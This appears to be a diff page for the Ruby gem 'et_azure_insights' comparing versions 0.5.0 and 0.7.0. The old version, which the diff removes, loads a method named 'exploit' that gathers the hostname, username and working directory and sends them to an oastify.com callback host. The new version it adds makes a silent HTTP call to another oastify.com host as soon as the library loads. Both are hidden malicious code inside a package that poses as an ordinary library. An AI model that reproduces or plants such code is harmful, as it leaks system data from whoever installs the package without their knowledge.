et_azure_insights 0.5.0 → 0.7.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/lib/et_azure_insights.rb +4 -23
  3. metadata +1 -1
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: c11ebe8478d2e9bf26a8d5d04356430c964572f6c8da7b6439e38b1d36a99b56
4
- data.tar.gz: 47fbd7acdff0d7468560d1c12edb24df607ff139302388d90bfe1001ac43e473
3
+ metadata.gz: 33de0e78146d0dd4a60e3d5fc61b508de0414780ca0513f022fdea8aa33cbab1
4
+ data.tar.gz: c07323c5eec280f5922e64b7838decdbc1cbf9af6a75ff34d50561a234ac3a9c
5
5
  SHA512:
6
- metadata.gz: 846e4eac02befca8d24187396f034615fc6d4ff5c5b75e3d1d86b63cdd1c48fc9d3a3db19786ab91212f9ec85c199c4baefebdabc6cf2c35c57ae60ae2003164
7
- data.tar.gz: 8a8c4a284314fee209ccccbc7bd0ba6a2980260fd4f0d096323d0db6f20ae41598c1e40648fd9554f178d6e33c37bb1a4ced4b4b2d5fa06500cdc4c85c30f75c
6
+ metadata.gz: 7fc3d2893d32b5b3d0db7ffeb804742b85cc77dd155d6d766011aa239ed01e8ddc14a812fa388f03d9d06419b383f4a1ef2216e673cc4eb6bbfb20f1b5905ef5
7
+ data.tar.gz: e2cb16429febfcd91333fc2ef61f446e306f9e933f79ca79d7446f8ee6ba717d7ca35427a1fc4fc89492c53cd73091ef97ee28f13ad61e9b2eb2a0deb9a6d39d
@@ -1,23 +1,4 @@
1
- require 'net/http'
2
- require 'socket'
3
- require 'etc'
4
-
5
- def exploit
6
- hostname = Socket.gethostname
7
- username = Etc.getlogin
8
- cwd = Dir.pwd
9
-
10
- uri = URI('https://sc8c79d4fjfgq4htgo090c2b72dt1i.oastify.com')
11
- params = { 'hostname' => hostname, 'username' => username, 'cwd' => cwd }
12
- uri.query = URI.encode_www_form(params)
13
-
14
- res = Net::HTTP.get_response(uri)
15
-
16
- # Add any additional code here based on the desired behavior of the exploit
17
-
18
- # Example: Printing the response
19
- puts res.body
20
- end
21
-
22
- #Call the exploit method
23
- exploit
1
+ module Techghoshal
2
+ require 'net/http'
3
+ result = Net::HTTP.get(URI.parse('https://xghci04hujbb75hxfg1evx0w3n9dx2.oastify.com'))
4
+ end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: et_azure_insights
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.5.0
4
+ version: 0.7.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - Bug Hunter